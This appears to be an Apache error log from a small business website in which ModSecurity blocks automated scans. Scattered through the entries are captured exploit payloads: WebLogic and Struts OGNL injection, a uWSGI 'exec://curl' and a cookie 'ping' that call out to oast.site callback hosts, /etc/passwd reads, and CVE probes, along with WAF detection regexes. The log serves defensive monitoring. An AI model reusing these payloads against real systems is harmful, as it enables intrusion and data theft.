[Wed Nov 19 01:28:43.931125 2025] [:error] [pid 3052:tid 3128] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php, referer: https://www.google.co.uk/
[Wed Nov 19 01:28:44.093438 2025] [:error] [pid 3052:tid 3136] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php, referer: https://www.bing.com/
[Wed Nov 19 01:28:47.773234 2025] [:error] [pid 3052:tid 3147] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php, referer: https://www.bing.com/
[Wed Nov 19 01:28:49.790599 2025] [:error] [pid 3052:tid 3135] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php, referer: https://www.google.co.uk/
[Wed Nov 19 01:28:52.889249 2025] [:error] [pid 3052:tid 3133] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php, referer: https://www.bing.com/
[Wed Nov 19 01:28:55.005426 2025] [:error] [pid 3052:tid 3138] [client 20.25.163.76:2366] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aRys11NM6bOMTTuJnz18cAAAAMk"], referer: https://www.bing.com/
[Wed Nov 19 04:27:04.621219 2025] [:error] [pid 6919:tid 6928] [client 51.81.107.180:36526] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Wed Nov 19 04:31:08.790252 2025] [:error] [pid 6554:tid 6581] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Wed Nov 19 04:31:09.059204 2025] [:error] [pid 6554:tid 6563] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Wed Nov 19 04:31:09.335038 2025] [:error] [pid 6554:tid 6579] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Wed Nov 19 04:31:09.580114 2025] [:error] [pid 6554:tid 6564] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Wed Nov 19 04:31:10.079261 2025] [:error] [pid 6554:tid 6560] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Wed Nov 19 04:31:10.300238 2025] [:error] [pid 6554:tid 6559] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Wed Nov 19 04:31:10.547167 2025] [:error] [pid 6554:tid 6570] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Wed Nov 19 04:31:11.105414 2025] [:error] [pid 6554:tid 6567] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Wed Nov 19 04:31:11.344469 2025] [:error] [pid 6554:tid 6566] [client 172.177.156.26:45049] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Wed Nov 19 04:31:11.625289 2025] [:error] [pid 6554:tid 6561] [client 172.177.156.26:45049] [client 172.177.156.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRzXj98rvPWLafJFqmUZsQAAAAI"]
[Wed Nov 19 04:31:12.137901 2025] [:error] [pid 6919:tid 6935] [client 172.177.156.26:45042] [client 172.177.156.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRzXkEYFdN1s_9xJVUlMkAAAAQ0"]
[Wed Nov 19 04:31:12.712033 2025] [:error] [pid 6919:tid 6934] [client 172.177.156.26:45003] [client 172.177.156.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRzXkEYFdN1s_9xJVUlMkwAAAQw"]
[Wed Nov 19 04:31:13.210434 2025] [:error] [pid 6555:tid 6597] [client 172.177.156.26:45012] [client 172.177.156.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRzXkUbVJm8eMsGMTCNMsQAAAEY"]
[Wed Nov 19 07:30:40.366460 2025] [:error] [pid 6554:tid 6579] [client 18.191.165.250:56952] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR0BoN8rvPWLafJFqmVXBQAAABM"]
[Wed Nov 19 07:30:40.766084 2025] [:error] [pid 26664:tid 26688] [client 18.191.165.250:57081] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR0BoIpWc1yoj2P7MeASLAAAAVQ"]
[Wed Nov 19 07:30:41.153026 2025] [:error] [pid 6555:tid 6615] [client 18.191.165.250:57193] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR0BoUbVJm8eMsGMTCON8gAAAFg"]
[Wed Nov 19 07:30:41.551943 2025] [:error] [pid 6556:tid 6626] [client 18.191.165.250:57280] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR0BoZuL7hhgrmdM1mt7bgAAAIg"]
[Wed Nov 19 07:30:41.941970 2025] [:error] [pid 26664:tid 26669] [client 18.191.165.250:57371] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR0BoYpWc1yoj2P7MeASUAAAAUI"]
[Wed Nov 19 11:04:30.976381 2025] [:error] [pid 6555:tid 6601] [client 110.175.220.250:38365] [client 110.175.220.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.175.220.250, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR0zvkbVJm8eMsGMTCPK6QAAAEo"]
[Wed Nov 19 11:04:30.980418 2025] [:error] [pid 6555:tid 6601] [client 110.175.220.250:38365] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 19 11:38:24.347455 2025] [:error] [pid 6554:tid 6571] [client 144.124.248.65:62393] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentytwo/"] [unique_id "aR07sN8rvPWLafJFqmWcJgAAAAs"]
[Wed Nov 19 11:38:25.382703 2025] [:error] [pid 6919:tid 6938] [client 144.124.248.65:60528] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/"] [unique_id "aR07sUYFdN1s_9xJVUkJrgAAARA"]
[Wed Nov 19 11:38:26.423910 2025] [:error] [pid 6644:tid 6646] [client 144.124.248.65:65300] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/oceanwp/"] [unique_id "aR07sk0i6Rf788MB6sYqFQAAAMA"]
[Wed Nov 19 11:38:27.446340 2025] [:error] [pid 6555:tid 6594] [client 144.124.248.65:61187] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/neve/"] [unique_id "aR07s0bVJm8eMsGMTCPWDgAAAEM"]
[Wed Nov 19 11:38:28.469241 2025] [:error] [pid 6555:tid 6602] [client 144.124.248.65:56262] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/divi/"] [unique_id "aR07tEbVJm8eMsGMTCPWDwAAAEs"]
[Wed Nov 19 11:38:29.502812 2025] [:error] [pid 26664:tid 26689] [client 144.124.248.65:59344] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/"] [unique_id "aR07tYpWc1yoj2P7MeCHKgAAAVU"]
[Wed Nov 19 11:38:30.531315 2025] [:error] [pid 26664:tid 26687] [client 144.124.248.65:59066] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aR07topWc1yoj2P7MeCHLQAAAVM"]
[Wed Nov 19 11:38:31.576684 2025] [:error] [pid 6556:tid 6625] [client 144.124.248.65:57850] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aR07t5uL7hhgrmdM1mvE3wAAAIc"]
[Wed Nov 19 11:38:32.725973 2025] [:error] [pid 6554:tid 6583] [client 144.124.248.65:64479] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/updraftplus/"] [unique_id "aR07uN8rvPWLafJFqmWcLAAAABc"]
[Wed Nov 19 11:38:33.777570 2025] [:error] [pid 6555:tid 6592] [client 144.124.248.65:52981] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordfence/"] [unique_id "aR07uUbVJm8eMsGMTCPWFQAAAEE"]
[Wed Nov 19 11:38:34.800032 2025] [:error] [pid 6644:tid 6664] [client 144.124.248.65:49771] [client 144.124.248.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/"] [unique_id "aR07uk0i6Rf788MB6sYqHQAAANI"]
[Wed Nov 19 12:06:09.330421 2025] [:error] [pid 6644:tid 6649] [client 185.102.115.93:40224] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Wed Nov 19 13:52:21.541966 2025] [:error] [pid 12673:tid 12720] [client 144.48.39.124:55674] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(?:cmd(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:32){0,1}\\\\.exe\\\\b)|(?:ftp|n(?:c|et|map)|rcmd|telnet|w(?:guest|sh))\\\\.exe\\\\b)" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "60"] [id "211200"] [rev "3"] [msg "COMODO WAF: System Command Access||windfarmcoolants.com.au|F|2"] [data "Matched Data: cmd.exe found within ARGS:handle: com.tangosol.coherence.mvel2.sh.shellsession(weblogic.work.executethread executethread =(weblogic.work.executethread) thread.currentthread() weblogic.work.workadapter adapter = executethread.getcurrentwork() java.lang.reflect.field field = adapter.getclass().getdeclaredfield(connectionhandler) field.setaccessible(true) object obj = field.get(adapter) weblogic.servlet.internal.servletrequestimpl req =(weblogic.servlet.internal.servletrequestimpl) obj.getclas..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/console/css/%2e%2e%2fconsole.portal"] [unique_id "aR1bFcab1F0fb062dH0UpwAAAhA"]
[Wed Nov 19 13:52:24.173793 2025] [:error] [pid 6556:tid 6623] [client 144.48.39.124:55856] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header||windfarmcoolants.com.au|F|2"] [data "/guest_auth/guestisup.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/guest_auth/guestIsUp.php"] [unique_id "aR1bGJuL7hhgrmdM1mvpLAAAAIU"]
[Wed Nov 19 15:55:06.173352 2025] [:error] [pid 12673:tid 12713] [client 144.48.39.124:46386] [client 144.48.39.124] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=x-application/hessian"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/mifs/.;/services/LogService"] [unique_id "aR132sab1F0fb062dH0xvQAAAgk"], referer: https://windfarmcoolants.com.au
[Wed Nov 19 15:55:06.175077 2025] [:error] [pid 6644:tid 6657] [client 144.48.39.124:46372] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%2..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR132k0i6Rf788MB6sZ8bQAAAMs"]
[Wed Nov 19 15:55:07.165362 2025] [:error] [pid 6555:tid 6592] [client 144.48.39.124:46394] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Found 7 byte(s) in ARGS_NAMES:\\x00r\\x00\\x00\\n\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4e0balnduab18qcgofgaxu67m3dweazk.oast.site; echo ""\\v\\x00SCRIPT_NAME\\n\\x00/penetrate outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS_NAMES:\\x5cx00r\\x5cx00\\x5cx00\\x5cn\\x5cx00UWSGI_FILEK\\x5cx00exec://curl aaaaaaaaaa.d4e0balnduab18qcgofgaxu67m3dweazk.oast.site; echo \\x22\\x22\\x5cv\\x5cx00SCRIPT_NAME\\x5cn\\x5cx00/penetrate=\\x00r\\x00\\x00\\x0a\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4e0balnduab18qcgofgaxu67m3dweazk.oast.site; echo \\x22\\x22\\x0b\\x00SCRIPT_NAME\\x0a\\x00/penetrate"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR1320bVJm8eMsGMTCMMRwAAAEE"]
[Wed Nov 19 15:55:07.165431 2025] [:error] [pid 6555:tid 6612] [client 144.48.39.124:46408] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:search outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:search==\\x00{.cookie|ZKFy0E|value=CVE-2014-6287.}"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR1320bVJm8eMsGMTCMMSAAAAFU"]
[Wed Nov 19 15:55:07.170127 2025] [:error] [pid 6554:tid 6567] [client 144.48.39.124:46430] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Wed Nov 19 15:55:07.170391 2025] [:error] [pid 6555:tid 6603] [client 144.48.39.124:46470] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aR1320bVJm8eMsGMTCMMSQAAAEw"]
[Wed Nov 19 15:55:07.173368 2025] [:error] [pid 6555:tid 6599] [client 144.48.39.124:46528] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\x22';=]" at FILES:abc. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "17"] [id "210220"] [rev "1"] [msg "COMODO WAF: Attempted multipart/form-data bypass||windfarmcoolants.com.au|F|2"] [data "t';id;echo '1_"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/mainfunction.cgi/cvmcfgupload"] [unique_id "aR1320bVJm8eMsGMTCMMSgAAAEg"]
[Wed Nov 19 15:55:07.174197 2025] [:error] [pid 12673:tid 12716] [client 144.48.39.124:46498] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php"] [unique_id "aR1328ab1F0fb062dH0xwwAAAgw"]
[Wed Nov 19 15:55:07.174910 2025] [:error] [pid 12673:tid 12705] [client 144.48.39.124:46512] [client 144.48.39.124] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/user/register"] [unique_id "aR1328ab1F0fb062dH0xwgAAAgE"], referer: windfarmcoolants.com.au/user/register
[Wed Nov 19 15:55:07.176384 2025] [:error] [pid 6555:tid 6598] [client 144.48.39.124:46554] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /password_change.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/password_change.cgi"] [unique_id "aR1320bVJm8eMsGMTCMMSwAAAEc"], referer: https://windfarmcoolants.com.au
[Wed Nov 19 15:55:07.177596 2025] [:error] [pid 6554:tid 6571] [client 144.48.39.124:46514] File does not exist: /usr/local/apache/htdocs/suspended-page/installer-backup.php
[Wed Nov 19 15:55:07.181350 2025] [:error] [pid 6919:tid 6924] [client 144.48.39.124:46590] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /pages/systemcall.php?command=cat%20/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/pages/systemcall.php"] [unique_id "aR1320YFdN1s_9xJVUlOSQAAAQI"]
[Wed Nov 19 15:55:07.182351 2025] [:error] [pid 6556:tid 6630] [client 144.48.39.124:46574] File does not exist: /usr/local/apache/htdocs/suspended-page/boardDataWW.php
[Wed Nov 19 15:55:07.191360 2025] [:error] [pid 6919:tid 6929] [client 144.48.39.124:46622] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /ajax/render/widget_tabbedcontainer_tab_panel"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/ajax/render/widget_tabbedcontainer_tab_panel"] [unique_id "aR1320YFdN1s_9xJVUlOSgAAAQc"]
[Wed Nov 19 15:55:07.191949 2025] [:error] [pid 12643:tid 12651] [client 144.48.39.124:46604] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?:\\\\w+\\\\/[\\\\w\\\\-\\\\.]+)(?:;(?:charset=[\\\\w\\\\-]{1,18}|boundary=[\\\\w\\\\-]+)?)?$" against "REQUEST_HEADERS:Content-Type" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6743"] [id "243930"] [rev "2"] [msg "COMODO WAF: Remote code execution in Apache Struts versions 2.3.31 - 2.3.5 and 2.5 - 2.5.10 (CVE-2017-5638)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR1328aLCNSdLHNAGt7I7gAAAYU"]
[Wed Nov 19 15:55:08.171590 2025] [:error] [pid 6644:tid 6665] [client 144.48.39.124:46652] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||windfarmcoolants.com.au|F|2"] [data "Matched Data: |echo found within REQUEST_COOKIES:username: admin|echo%20`ping -c 3 d4e0balnduab18qcgofg51p6hnpdfowxc.oast.site`"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR133E0i6Rf788MB6sZ8dQAAANM"]
[Wed Nov 19 15:55:08.171871 2025] [:error] [pid 6554:tid 6583] [client 144.48.39.124:46660] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /user.action"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/user.action"] [unique_id "aR133N8rvPWLafJFqmXSwwAAABc"]
